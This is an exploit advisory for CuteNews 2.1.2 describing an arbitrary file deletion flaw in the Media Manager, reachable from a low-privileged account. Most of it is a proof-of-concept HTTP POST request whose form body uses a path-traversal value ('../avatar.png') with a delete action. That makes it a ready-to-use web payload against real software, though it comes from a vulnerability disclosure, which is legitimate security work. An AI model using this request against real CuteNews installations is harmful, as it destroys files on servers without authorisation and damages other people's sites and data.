CuteNews 2.1.2 – Arbitrary File Deletion
# Exploit Title: CuteNews 2.1.2 - Arbitrary File Deletion # Date: 2020-05-08 # Author: Besim ALTINOK # Vendor Homepage: https://cutephp.com # Software Link: https://cutephp.com/click.php?cutenews_latest # Version: v2.1.2 (Maybe it affect other versions) # Tested on: Xampp # Credit: İsmail BOZKURT # Remotely: Yes Description: ------------------------------------------------------------------------ In the "Media Manager" area, users can do arbitrarily file deletion. Because the developer did not use the unlink() function as secure. So, can be triggered this vulnerability by a low user account Arbitrary File Deletion PoC -------------------------------------------------------------------------------- POST /cute/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 ********************************** Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 222 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/cute/index.php Cookie: CUTENEWS_SESSION=3f6a6ea7089e3a6a04b396d382308022 Upgrade-Insecure-Requests: 1 mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=27966e9129793e80a70089ee1c3ebfd5-tester&__signature_dsi=0ad6659c2aa31871b0b44617cf0b1200&rm%5B%5D=../avatar.png&do_action=delete |